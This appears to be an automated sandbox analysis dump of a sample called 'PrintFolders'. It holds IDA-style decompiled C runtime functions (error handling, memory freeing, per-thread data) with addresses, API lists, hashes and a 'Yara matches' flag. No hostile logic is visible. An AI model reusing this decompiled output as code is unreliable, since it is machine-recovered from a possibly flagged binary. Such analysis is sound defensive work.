                                                          							_t38 = _a8;
                                                          							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
                                                          							if(__eflags <= 0) {
                                                          								L11:
                                                          								_t17 = E1000A4B8(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
                                                          								__eflags = _t17;
                                                          								if(__eflags != 0) {
                                                          									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
                                                          									_t19 = 0;
                                                          									__eflags = 0;
                                                          								} else {
                                                          									E100063D0(GetLastError());
                                                          									_t19 =  *((intOrPtr*)(E10006406(__eflags)));
                                                          								}
                                                          								L14:
                                                          								return _t19;
                                                          							}
                                                          							_t19 = E100098FE(_t38, __eflags, _t16);
                                                          							__eflags = _t19;
                                                          							if(_t19 != 0) {
                                                          								goto L14;
                                                          							}
                                                          							goto L11;
                                                          						}
                                                          						E100063D0(GetLastError());
                                                          						return  *((intOrPtr*)(E10006406(__eflags)));
                                                          					}
                                                          					_t41 = _a8;
                                                          					__eflags =  *((intOrPtr*)(_t41 + 0xc));
                                                          					if(__eflags != 0) {
                                                          						L6:
                                                          						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
                                                          						L2:
                                                          						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
                                                          						return 0;
                                                          					}
                                                          					_t29 = E100098FE(_t41, __eflags, 1);
                                                          					__eflags = _t29;
                                                          					if(_t29 != 0) {
                                                          						return _t29;
                                                          					}
                                                          					goto L6;
                                                          				}
                                                          				_t41 = _a8;
                                                          				E100098E4(_t41);
                                                          				_t31 = 0;
                                                          				 *((intOrPtr*)(_t41 + 8)) = 0;
                                                          				 *((intOrPtr*)(_t41 + 0xc)) = 0;
                                                          				goto L2;
                                                          			}











                                                          0x100092c9
                                                          0x100092ce
                                                          0x100092ec
                                                          0x100092ee
                                                          0x100092f1
                                                          0x1000931e
                                                          0x10009326
                                                          0x10009328
                                                          0x10009341
                                                          0x10009344
                                                          0x10009347
                                                          0x10009355
                                                          0x10009364
                                                          0x1000936c
                                                          0x1000936e
                                                          0x10009387
                                                          0x1000938a
                                                          0x1000938a
                                                          0x10009370
                                                          0x10009377
                                                          0x10009382
                                                          0x10009382
                                                          0x1000938c
                                                          0x00000000
                                                          0x1000938c
                                                          0x1000934c
                                                          0x10009351
                                                          0x10009353
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10009353
                                                          0x10009331
                                                          0x00000000
                                                          0x1000933c
                                                          0x100092f3
                                                          0x100092f6
                                                          0x100092f9
                                                          0x1000930c
                                                          0x1000930f
                                                          0x100092e2
                                                          0x100092e2
                                                          0x00000000
                                                          0x100092e5
                                                          0x100092ff
                                                          0x10009304
                                                          0x10009306
                                                          0x10009390
                                                          0x10009390
                                                          0x00000000
                                                          0x10009306
                                                          0x100092d0
                                                          0x100092d5
                                                          0x100092da
                                                          0x100092dc
                                                          0x100092df
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 100098E4: _free.LIBCMT ref: 100098F2
                                                            • Part of subcall function 1000A4B8: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000D2A0,?,00000000,00000000), ref: 1000A564
                                                          • GetLastError.KERNEL32 ref: 1000932A
                                                          • __dosmaperr.LIBCMT ref: 10009331
                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10009370
                                                          • __dosmaperr.LIBCMT ref: 10009377
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
                                                          • String ID:
                                                          • API String ID: 167067550-0
                                                          • Opcode ID: 6740b73893a9458362bcae6edf410e802fc9121dd722963b93f7f203b79a7553
                                                          • Instruction ID: 0ddff17f411571237369bc97fdb35948c87631787bb5b9b786b2356b208bbcd2
                                                          • Opcode Fuzzy Hash: 6740b73893a9458362bcae6edf410e802fc9121dd722963b93f7f203b79a7553
                                                          • Instruction Fuzzy Hash: 6B21B07560021AAFFB10DF618C81D1BB7ADEF442E47118618F968972D5EB70ED509BA0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 75%
                                                          			E0041CB63(void* __ecx, void* __edx) {
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				intOrPtr _t2;
                                                          				long _t3;
                                                          				intOrPtr _t5;
                                                          				long _t6;
                                                          				intOrPtr _t9;
                                                          				long _t10;
                                                          				signed int _t39;
                                                          				signed int _t40;
                                                          				void* _t43;
                                                          				void* _t49;
                                                          				signed int _t51;
                                                          				signed int _t53;
                                                          				signed int _t54;
                                                          				long _t56;
                                                          				long _t60;
                                                          				long _t61;
                                                          				void* _t65;
                                                          
                                                          				_t49 = __edx;
                                                          				_t43 = __ecx;
                                                          				_t60 = GetLastError();
                                                          				_t2 =  *0x43d1c8; // 0x7
                                                          				_t67 = _t2 - 0xffffffff;
                                                          				if(_t2 == 0xffffffff) {
                                                          					L6:
                                                          					_t3 = E0041E7DF(__eflags, _t2, 0xffffffff);
                                                          					__eflags = _t3;
                                                          					if(_t3 == 0) {
                                                          						goto L3;
                                                          					} else {
                                                          						_t51 = E0041E25B(1, 0x364);
                                                          						_pop(_t43);
                                                          						__eflags = _t51;
                                                          						if(__eflags != 0) {
                                                          							__eflags = E0041E7DF(__eflags,  *0x43d1c8, _t51);
                                                          							if(__eflags != 0) {
                                                          								E0041C991(_t51, 0x4508d8);
                                                          								E0041E2B8(0);
                                                          								_t65 = _t65 + 0xc;
                                                          								goto L13;
                                                          							} else {
                                                          								_t39 = 0;
                                                          								E0041E7DF(__eflags,  *0x43d1c8, 0);
                                                          								_push(_t51);
                                                          								goto L9;
                                                          							}
                                                          						} else {
                                                          							_t39 = 0;
                                                          							__eflags = 0;
                                                          							E0041E7DF(0,  *0x43d1c8, 0);
                                                          							_push(0);
                                                          							L9:
                                                          							E0041E2B8();
                                                          							_pop(_t43);
                                                          							goto L4;
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t51 = E0041E7A0(_t67, _t2);
                                                          					if(_t51 == 0) {
                                                          						_t2 =  *0x43d1c8; // 0x7
                                                          						goto L6;
                                                          					} else {
                                                          						if(_t51 != 0xffffffff) {
                                                          							L13:
                                                          							_t39 = _t51;
                                                          						} else {
                                                          							L3:
                                                          							_t39 = 0;
                                                          							L4:
                                                          							_t51 = _t39;
                                                          						}
                                                          					}
                                                          				}
                                                          				SetLastError(_t60);
                                                          				asm("sbb edi, edi");
                                                          				_t53 =  ~_t51 & _t39;
                                                          				if(_t53 == 0) {
                                                          					E00419C49(_t39, _t43, _t49, _t53, _t60);
                                                          					asm("int3");
                                                          					_t5 =  *0x43d1c8; // 0x7
                                                          					_push(_t60);
                                                          					__eflags = _t5 - 0xffffffff;
                                                          					if(__eflags == 0) {
                                                          						L22:
                                                          						_t6 = E0041E7DF(__eflags, _t5, 0xffffffff);
                                                          						__eflags = _t6;
                                                          						if(_t6 == 0) {
                                                          							goto L31;
                                                          						} else {
                                                          							_t60 = E0041E25B(1, 0x364);
                                                          							_pop(_t43);
                                                          							__eflags = _t60;
                                                          							if(__eflags != 0) {
                                                          								__eflags = E0041E7DF(__eflags,  *0x43d1c8, _t60);
                                                          								if(__eflags != 0) {
                                                          									E0041C991(_t60, 0x4508d8);
                                                          									E0041E2B8(0);
                                                          									_t65 = _t65 + 0xc;
                                                          									goto L29;
                                                          								} else {
                                                          									E0041E7DF(__eflags,  *0x43d1c8, _t21);
                                                          									_push(_t60);
                                                          									goto L25;
                                                          								}
                                                          							} else {
                                                          								E0041E7DF(__eflags,  *0x43d1c8, _t20);
                                                          								_push(_t60);
                                                          								L25:
                                                          								E0041E2B8();
                                                          								_pop(_t43);
                                                          								goto L31;
                                                          							}
                                                          						}
                                                          					} else {
                                                          						_t60 = E0041E7A0(__eflags, _t5);
                                                          						__eflags = _t60;
                                                          						if(__eflags == 0) {
                                                          							_t5 =  *0x43d1c8; // 0x7
                                                          							goto L22;
                                                          						} else {
                                                          							__eflags = _t60 - 0xffffffff;
                                                          							if(_t60 == 0xffffffff) {
                                                          								L31:
                                                          								E00419C49(_t39, _t43, _t49, _t53, _t60);
                                                          								asm("int3");
                                                          								_push(_t39);
                                                          								_push(_t60);
                                                          								_push(_t53);
                                                          								_t61 = GetLastError();
                                                          								_t9 =  *0x43d1c8; // 0x7
                                                          								__eflags = _t9 - 0xffffffff;
                                                          								if(__eflags == 0) {
                                                          									L38:
                                                          									_t10 = E0041E7DF(__eflags, _t9, 0xffffffff);
                                                          									__eflags = _t10;
                                                          									if(_t10 == 0) {
                                                          										goto L35;
                                                          									} else {
                                                          										_t54 = E0041E25B(1, 0x364);
                                                          										__eflags = _t54;
                                                          										if(__eflags != 0) {
                                                          											__eflags = E0041E7DF(__eflags,  *0x43d1c8, _t54);
                                                          											if(__eflags != 0) {
                                                          												E0041C991(_t54, 0x4508d8);
                                                          												E0041E2B8(0);
                                                          												goto L45;
                                                          											} else {
                                                          												_t40 = 0;
                                                          												E0041E7DF(__eflags,  *0x43d1c8, 0);
                                                          												_push(_t54);
                                                          												goto L41;
                                                          											}
                                                          										} else {
                                                          											_t40 = 0;
                                                          											__eflags = 0;
                                                          											E0041E7DF(0,  *0x43d1c8, 0);
                                                          											_push(0);
                                                          											L41:
                                                          											E0041E2B8();
                                                          											goto L36;
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_t54 = E0041E7A0(__eflags, _t9);
                                                          									__eflags = _t54;
                                                          									if(__eflags == 0) {
                                                          										_t9 =  *0x43d1c8; // 0x7
                                                          										goto L38;
                                                          									} else {
                                                          										__eflags = _t54 - 0xffffffff;
                                                          										if(_t54 != 0xffffffff) {
                                                          											L45:
                                                          											_t40 = _t54;
                                                          										} else {
                                                          											L35:
                                                          											_t40 = 0;
                                                          											__eflags = 0;
                                                          											L36:
                                                          											_t54 = _t40;
                                                          										}
                                                          									}
                                                          								}
                                                          								SetLastError(_t61);
                                                          								asm("sbb edi, edi");
                                                          								_t56 =  ~_t54 & _t40;
                                                          								__eflags = _t56;
                                                          								return _t56;
                                                          							} else {
                                                          								L29:
                                                          								__eflags = _t60;
                                                          								if(_t60 == 0) {
                                                          									goto L31;
                                                          								} else {
                                                          									return _t60;
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					return _t53;
                                                          				}
                                                          			}























                                                          0x0041cb63
                                                          0x0041cb63
                                                          0x0041cb6e
                                                          0x0041cb70
                                                          0x0041cb75
                                                          0x0041cb78
                                                          0x0041cb96
                                                          0x0041cb99
                                                          0x0041cb9e
                                                          0x0041cba0
                                                          0x00000000
                                                          0x0041cba2
                                                          0x0041cbae
                                                          0x0041cbb1
                                                          0x0041cbb2
                                                          0x0041cbb4
                                                          0x0041cbd9
                                                          0x0041cbdb
                                                          0x0041cbf4
                                                          0x0041cbfb
                                                          0x0041cc00
                                                          0x00000000
                                                          0x0041cbdd
                                                          0x0041cbdd
                                                          0x0041cbe6
                                                          0x0041cbeb
                                                          0x00000000
                                                          0x0041cbeb
                                                          0x0041cbb6
                                                          0x0041cbb6
                                                          0x0041cbb6
                                                          0x0041cbbf
                                                          0x0041cbc4
                                                          0x0041cbc5
                                                          0x0041cbc5
                                                          0x0041cbca
                                                          0x00000000
                                                          0x0041cbca
                                                          0x0041cbb4
                                                          0x0041cb7a
                                                          0x0041cb80
                                                          0x0041cb84
                                                          0x0041cb91
                                                          0x00000000
                                                          0x0041cb86
                                                          0x0041cb89
                                                          0x0041cc03
                                                          0x0041cc03
                                                          0x0041cb8b
                                                          0x0041cb8b
                                                          0x0041cb8b
                                                          0x0041cb8d
                                                          0x0041cb8d
                                                          0x0041cb8d
                                                          0x0041cb89
                                                          0x0041cb84
                                                          0x0041cc06
                                                          0x0041cc0e
                                                          0x0041cc10
                                                          0x0041cc12
                                                          0x0041cc1a
                                                          0x0041cc1f
                                                          0x0041cc20
                                                          0x0041cc25
                                                          0x0041cc26
                                                          0x0041cc29
                                                          0x0041cc43
                                                          0x0041cc46
                                                          0x0041cc4b
                                                          0x0041cc4d
                                                          0x00000000
                                                          0x0041cc4f
                                                          0x0041cc5b
                                                          0x0041cc5e
                                                          0x0041cc5f
                                                          0x0041cc61
                                                          0x0041cc84
                                                          0x0041cc86
                                                          0x0041cc9d
                                                          0x0041cca4
                                                          0x0041cca9
                                                          0x00000000
                                                          0x0041cc88
                                                          0x0041cc8f
                                                          0x0041cc94
                                                          0x00000000
                                                          0x0041cc94
                                                          0x0041cc63
                                                          0x0041cc6a
                                                          0x0041cc6f
                                                          0x0041cc70
                                                          0x0041cc70
                                                          0x0041cc75
                                                          0x00000000
                                                          0x0041cc75
                                                          0x0041cc61
                                                          0x0041cc2b
                                                          0x0041cc31
                                                          0x0041cc33
                                                          0x0041cc35
                                                          0x0041cc3e
                                                          0x00000000
                                                          0x0041cc37
                                                          0x0041cc37
                                                          0x0041cc3a
                                                          0x0041ccb4
                                                          0x0041ccb4
                                                          0x0041ccb9
                                                          0x0041ccbc
                                                          0x0041ccbd
                                                          0x0041ccbe
                                                          0x0041ccc5
                                                          0x0041ccc7
                                                          0x0041cccc
                                                          0x0041cccf
                                                          0x0041cced
                                                          0x0041ccf0
                                                          0x0041ccf5
                                                          0x0041ccf7
                                                          0x00000000
                                                          0x0041ccf9
                                                          0x0041cd05
                                                          0x0041cd09
                                                          0x0041cd0b
                                                          0x0041cd30
                                                          0x0041cd32
                                                          0x0041cd4b
                                                          0x0041cd52
                                                          0x00000000
                                                          0x0041cd34
                                                          0x0041cd34
                                                          0x0041cd3d
                                                          0x0041cd42
                                                          0x00000000
                                                          0x0041cd42
                                                          0x0041cd0d
                                                          0x0041cd0d
                                                          0x0041cd0d
                                                          0x0041cd16
                                                          0x0041cd1b
                                                          0x0041cd1c
                                                          0x0041cd1c
                                                          0x00000000
                                                          0x0041cd21
                                                          0x0041cd0b
                                                          0x0041ccd1
                                                          0x0041ccd7
                                                          0x0041ccd9
                                                          0x0041ccdb
                                                          0x0041cce8
                                                          0x00000000
                                                          0x0041ccdd
                                                          0x0041ccdd
                                                          0x0041cce0
                                                          0x0041cd5a
                                                          0x0041cd5a
                                                          0x0041cce2
                                                          0x0041cce2
                                                          0x0041cce2
                                                          0x0041cce2
                                                          0x0041cce4
                                                          0x0041cce4
                                                          0x0041cce4
                                                          0x0041cce0
                                                          0x0041ccdb
                                                          0x0041cd5d
                                                          0x0041cd65
                                                          0x0041cd67
                                                          0x0041cd67
                                                          0x0041cd6e
                                                          0x0041cc3c
                                                          0x0041ccac
                                                          0x0041ccac
                                                          0x0041ccae
                                                          0x00000000
                                                          0x0041ccb0
                                                          0x0041ccb3
                                                          0x0041ccb3
                                                          0x0041ccae
                                                          0x0041cc3a
                                                          0x0041cc35
                                                          0x0041cc14
                                                          0x0041cc19
                                                          0x0041cc19

                                                          APIs
                                                          • GetLastError.KERNEL32(?,?,?,00413661,?,00000000,00405D9E,?,00418194,?,00000000,76686490,?,0041828D,00405D9E,00000000), ref: 0041CB68
                                                          • _free.LIBCMT ref: 0041CBC5
                                                          • _free.LIBCMT ref: 0041CBFB
                                                          • SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418194,?,00000000,76686490,?,0041828D,00405D9E,00000000,?,00405D9E,?), ref: 0041CC06
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ErrorLast_free
                                                          • String ID:
                                                          • API String ID: 2283115069-0
                                                          • Opcode ID: 3abb266c486aac477022de17da07e4251c7c1e35108d8638f05dcf1e3eb67359
                                                          • Instruction ID: 91b981631096f111d83687cb3943ae5f68f73b373ba64f4aa9f78fd4ccd23e5c
                                                          • Opcode Fuzzy Hash: 3abb266c486aac477022de17da07e4251c7c1e35108d8638f05dcf1e3eb67359
                                                          • Instruction Fuzzy Hash: 2411CA766881006BDB1526776CC6EEB21599BC0778B24023BF528D32D1EE6D8CC2516D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 72%
                                                          			E10007BAC(void* __ecx, void* __edx) {
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				intOrPtr _t2;
                                                          				long _t3;
                                                          				intOrPtr _t5;
                                                          				long _t6;
                                                          				intOrPtr _t9;
                                                          				long _t10;
                                                          				signed int _t39;
                                                          				signed int _t40;
                                                          				void* _t43;
                                                          				void* _t49;
                                                          				signed int _t51;
                                                          				signed int _t53;
                                                          				signed int _t54;
                                                          				long _t56;
                                                          				long _t60;
                                                          				long _t61;
                                                          				void* _t65;
                                                          
                                                          				_t49 = __edx;
                                                          				_t43 = __ecx;
                                                          				_t60 = GetLastError();
                                                          				_t2 =  *0x10017100; // 0xa
                                                          				_t67 = _t2 - 0xffffffff;
                                                          				if(_t2 == 0xffffffff) {
                                                          					L6:
                                                          					_t3 = E100082D2(__eflags, _t2, 0xffffffff);
                                                          					__eflags = _t3;
                                                          					if(_t3 == 0) {
                                                          						goto L3;
                                                          					} else {
                                                          						_t51 = E10008BFC(1, 0x364);
                                                          						_pop(_t43);
                                                          						__eflags = _t51;
                                                          						if(__eflags != 0) {
                                                          							__eflags = E100082D2(__eflags,  *0x10017100, _t51);
                                                          							if(__eflags != 0) {
                                                          								E100079AE(_t51, 0x10018108);
                                                          								E10008701(0);
                                                          								_t65 = _t65 + 0xc;
                                                          								goto L13;
                                                          							} else {
                                                          								_t39 = 0;
                                                          								E100082D2(__eflags,  *0x10017100, 0);
                                                          								_push(_t51);
                                                          								goto L9;
                                                          							}
                                                          						} else {
                                                          							_t39 = 0;
                                                          							__eflags = 0;
                                                          							E100082D2(0,  *0x10017100, 0);
                                                          							_push(0);
                                                          							L9:
                                                          							E10008701();
                                                          							_pop(_t43);
                                                          							goto L4;
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t51 = E10008293(_t67, _t2);
                                                          					if(_t51 == 0) {
                                                          						_t2 =  *0x10017100; // 0xa
                                                          						goto L6;
                                                          					} else {
                                                          						if(_t51 != 0xffffffff) {
                                                          							L13:
                                                          							_t39 = _t51;
                                                          						} else {
                                                          							L3:
                                                          							_t39 = 0;
                                                          							L4:
                                                          							_t51 = _t39;
                                                          						}
                                                          					}
                                                          				}
                                                          				SetLastError(_t60);
                                                          				asm("sbb edi, edi");
                                                          				_t53 =  ~_t51 & _t39;
                                                          				if(_t53 == 0) {
                                                          					E100076E4(_t39, _t43, _t49, _t53, _t60);
                                                          					asm("int3");
                                                          					_t5 =  *0x10017100; // 0xa
                                                          					_push(_t60);
                                                          					__eflags = _t5 - 0xffffffff;
                                                          					if(__eflags == 0) {
                                                          						L22:
                                                          						_t6 = E100082D2(__eflags, _t5, 0xffffffff);
                                                          						__eflags = _t6;
                                                          						if(_t6 == 0) {
                                                          							goto L31;
                                                          						} else {
                                                          							_t60 = E10008BFC(1, 0x364);
                                                          							_pop(_t43);
                                                          							__eflags = _t60;
                                                          							if(__eflags != 0) {
                                                          								__eflags = E100082D2(__eflags,  *0x10017100, _t60);
                                                          								if(__eflags != 0) {
                                                          									E100079AE(_t60, 0x10018108);
                                                          									E10008701(0);
                                                          									_t65 = _t65 + 0xc;
                                                          									goto L29;
                                                          								} else {
                                                          									E100082D2(__eflags,  *0x10017100, _t21);
                                                          									_push(_t60);
                                                          									goto L25;
                                                          								}
                                                          							} else {
                                                          								E100082D2(__eflags,  *0x10017100, _t20);
                                                          								_push(_t60);
                                                          								L25:
                                                          								E10008701();
                                                          								_pop(_t43);
                                                          								goto L31;
                                                          							}
                                                          						}
                                                          					} else {
                                                          						_t60 = E10008293(__eflags, _t5);
                                                          						__eflags = _t60;
                                                          						if(__eflags == 0) {
                                                          							_t5 =  *0x10017100; // 0xa
                                                          							goto L22;
                                                          						} else {
                                                          							__eflags = _t60 - 0xffffffff;
                                                          							if(_t60 == 0xffffffff) {
                                                          								L31:
                                                          								E100076E4(_t39, _t43, _t49, _t53, _t60);
                                                          								asm("int3");
                                                          								_push(_t39);
                                                          								_push(_t60);
                                                          								_push(_t53);
                                                          								_t61 = GetLastError();
                                                          								_t9 =  *0x10017100; // 0xa
                                                          								__eflags = _t9 - 0xffffffff;
                                                          								if(__eflags == 0) {
                                                          									L38:
                                                          									_t10 = E100082D2(__eflags, _t9, 0xffffffff);
                                                          									__eflags = _t10;
                                                          									if(_t10 == 0) {
                                                          										goto L35;
                                                          									} else {
                                                          										_t54 = E10008BFC(1, 0x364);
                                                          										__eflags = _t54;
                                                          										if(__eflags != 0) {
                                                          											__eflags = E100082D2(__eflags,  *0x10017100, _t54);
                                                          											if(__eflags != 0) {
                                                          												E100079AE(_t54, 0x10018108);
                                                          												E10008701(0);
                                                          												goto L45;
                                                          											} else {
                                                          												_t40 = 0;
                                                          												E100082D2(__eflags,  *0x10017100, 0);
                                                          												_push(_t54);
                                                          												goto L41;
                                                          											}
                                                          										} else {
                                                          											_t40 = 0;
                                                          											__eflags = 0;
                                                          											E100082D2(0,  *0x10017100, 0);
                                                          											_push(0);
                                                          											L41:
                                                          											E10008701();
                                                          											goto L36;
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_t54 = E10008293(__eflags, _t9);
                                                          									__eflags = _t54;
                                                          									if(__eflags == 0) {
                                                          										_t9 =  *0x10017100; // 0xa
                                                          										goto L38;
                                                          									} else {
                                                          										__eflags = _t54 - 0xffffffff;
                                                          										if(_t54 != 0xffffffff) {
                                                          											L45:
                                                          											_t40 = _t54;
                                                          										} else {
                                                          											L35:
                                                          											_t40 = 0;
                                                          											__eflags = 0;
                                                          											L36:
                                                          											_t54 = _t40;
                                                          										}
                                                          									}
                                                          								}
                                                          								SetLastError(_t61);
                                                          								asm("sbb edi, edi");
                                                          								_t56 =  ~_t54 & _t40;
                                                          								__eflags = _t56;
                                                          								return _t56;
                                                          							} else {
                                                          								L29:
                                                          								__eflags = _t60;
                                                          								if(_t60 == 0) {
                                                          									goto L31;
                                                          								} else {
                                                          									return _t60;
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					return _t53;
                                                          				}
                                                          			}























                                                          0x10007bac
                                                          0x10007bac
                                                          0x10007bb7
                                                          0x10007bb9
                                                          0x10007bbe
                                                          0x10007bc1
                                                          0x10007bdf
                                                          0x10007be2
                                                          0x10007be7
                                                          0x10007be9
                                                          0x00000000
                                                          0x10007beb
                                                          0x10007bf7
                                                          0x10007bfa
                                                          0x10007bfb
                                                          0x10007bfd
                                                          0x10007c22
                                                          0x10007c24
                                                          0x10007c3d
                                                          0x10007c44
                                                          0x10007c49
                                                          0x00000000
                                                          0x10007c26
                                                          0x10007c26
                                                          0x10007c2f
                                                          0x10007c34
                                                          0x00000000
                                                          0x10007c34
                                                          0x10007bff
                                                          0x10007bff
                                                          0x10007bff
                                                          0x10007c08
                                                          0x10007c0d
                                                          0x10007c0e
                                                          0x10007c0e
                                                          0x10007c13
                                                          0x00000000
                                                          0x10007c13
                                                          0x10007bfd
                                                          0x10007bc3
                                                          0x10007bc9
                                                          0x10007bcd
                                                          0x10007bda
                                                          0x00000000
                                                          0x10007bcf
                                                          0x10007bd2
                                                          0x10007c4c
                                                          0x10007c4c
                                                          0x10007bd4
                                                          0x10007bd4
                                                          0x10007bd4
                                                          0x10007bd6
                                                          0x10007bd6
                                                          0x10007bd6
                                                          0x10007bd2
                                                          0x10007bcd
                                                          0x10007c4f
                                                          0x10007c57
                                                          0x10007c59
                                                          0x10007c5b
                                                          0x10007c63
                                                          0x10007c68
                                                          0x10007c69
                                                          0x10007c6e
                                                          0x10007c6f
                                                          0x10007c72
                                                          0x10007c8c
                                                          0x10007c8f
                                                          0x10007c94
                                                          0x10007c96
                                                          0x00000000
                                                          0x10007c98
                                                          0x10007ca4
                                                          0x10007ca7
                                                          0x10007ca8
                                                          0x10007caa
                                                          0x10007ccd
                                                          0x10007ccf
                                                          0x10007ce6
                                                          0x10007ced
                                                          0x10007cf2
                                                          0x00000000
                                                          0x10007cd1
                                                          0x10007cd8
                                                          0x10007cdd
                                                          0x00000000
                                                          0x10007cdd
                                                          0x10007cac
                                                          0x10007cb3
                                                          0x10007cb8
                                                          0x10007cb9
                                                          0x10007cb9
                                                          0x10007cbe
                                                          0x00000000
                                                          0x10007cbe
                                                          0x10007caa
                                                          0x10007c74
                                                          0x10007c7a
                                                          0x10007c7c
                                                          0x10007c7e
                                                          0x10007c87
                                                          0x00000000
                                                          0x10007c80
                                                          0x10007c80
                                                          0x10007c83
                                                          0x10007cfd
                                                          0x10007cfd
                                                          0x10007d02
                                                          0x10007d05
                                                          0x10007d06
                                                          0x10007d07
                                                          0x10007d0e
                                                          0x10007d10
                                                          0x10007d15
                                                          0x10007d18
                                                          0x10007d36
                                                          0x10007d39
                                                          0x10007d3e
                                                          0x10007d40
                                                          0x00000000
                                                          0x10007d42
                                                          0x10007d4e
                                                          0x10007d52
                                                          0x10007d54
                                                          0x10007d79
                                                          0x10007d7b
                                                          0x10007d94
                                                          0x10007d9b
                                                          0x00000000
                                                          0x10007d7d
                                                          0x10007d7d
                                                          0x10007d86
                                                          0x10007d8b
                                                          0x00000000
                                                          0x10007d8b
                                                          0x10007d56
                                                          0x10007d56
                                                          0x10007d56
                                                          0x10007d5f
                                                          0x10007d64
                                                          0x10007d65
                                                          0x10007d65
                                                          0x00000000
                                                          0x10007d6a
                                                          0x10007d54
                                                          0x10007d1a
                                                          0x10007d20
                                                          0x10007d22
                                                          0x10007d24
                                                          0x10007d31
                                                          0x00000000
                                                          0x10007d26
                                                          0x10007d26
                                                          0x10007d29
                                                          0x10007da3
                                                          0x10007da3
                                                          0x10007d2b
                                                          0x10007d2b
                                                          0x10007d2b
                                                          0x10007d2b
                                                          0x10007d2d
                                                          0x10007d2d
                                                          0x10007d2d
                                                          0x10007d29
                                                          0x10007d24
                                                          0x10007da6
                                                          0x10007dae
                                                          0x10007db0
                                                          0x10007db0
                                                          0x10007db7
                                                          0x10007c85
                                                          0x10007cf5
                                                          0x10007cf5
                                                          0x10007cf7
                                                          0x00000000
                                                          0x10007cf9
                                                          0x10007cfc
                                                          0x10007cfc
                                                          0x10007cf7
                                                          0x10007c83
                                                          0x10007c7e
                                                          0x10007c5d
                                                          0x10007c62
                                                          0x10007c62

                                                          APIs
                                                          • GetLastError.KERNEL32(?,?,?,100064BF,?,10002482,00000000), ref: 10007BB1
                                                          • _free.LIBCMT ref: 10007C0E
                                                          • _free.LIBCMT ref: 10007C44
                                                          • SetLastError.KERNEL32(00000000,0000000A,000000FF,?,100064BF,?,10002482,00000000), ref: 10007C4F
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast_free
                                                          • String ID:
                                                          • API String ID: 2283115069-0
                                                          • Opcode ID: c9421031c8270037eee8d98a36a9266b2192190dd1963cf3c890ea5dd8583a89
                                                          • Instruction ID: 40064ac180ed46dbc898ff0431a2854e633d7821ece77d32e9ad52d9302bdc28
                                                          • Opcode Fuzzy Hash: c9421031c8270037eee8d98a36a9266b2192190dd1963cf3c890ea5dd8583a89
                                                          • Instruction Fuzzy Hash: 2E11E976A04615BAF212D7784CC1E1B3699FBC02F4B324528F55C821EDEF75ED414320
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 85%
                                                          			E0041CCBA(void* __ecx) {
                                                          				intOrPtr _t2;
                                                          				signed int _t3;
                                                          				signed int _t13;
                                                          				signed int _t18;
                                                          				long _t21;
                                                          
                                                          				_t21 = GetLastError();
                                                          				_t2 =  *0x43d1c8; // 0x7
                                                          				_t24 = _t2 - 0xffffffff;
                                                          				if(_t2 == 0xffffffff) {
                                                          					L6:
                                                          					_t3 = E0041E7DF(__eflags, _t2, 0xffffffff);
                                                          					__eflags = _t3;
                                                          					if(_t3 == 0) {
                                                          						goto L3;
                                                          					} else {
                                                          						_t18 = E0041E25B(1, 0x364);
                                                          						__eflags = _t18;
                                                          						if(__eflags != 0) {
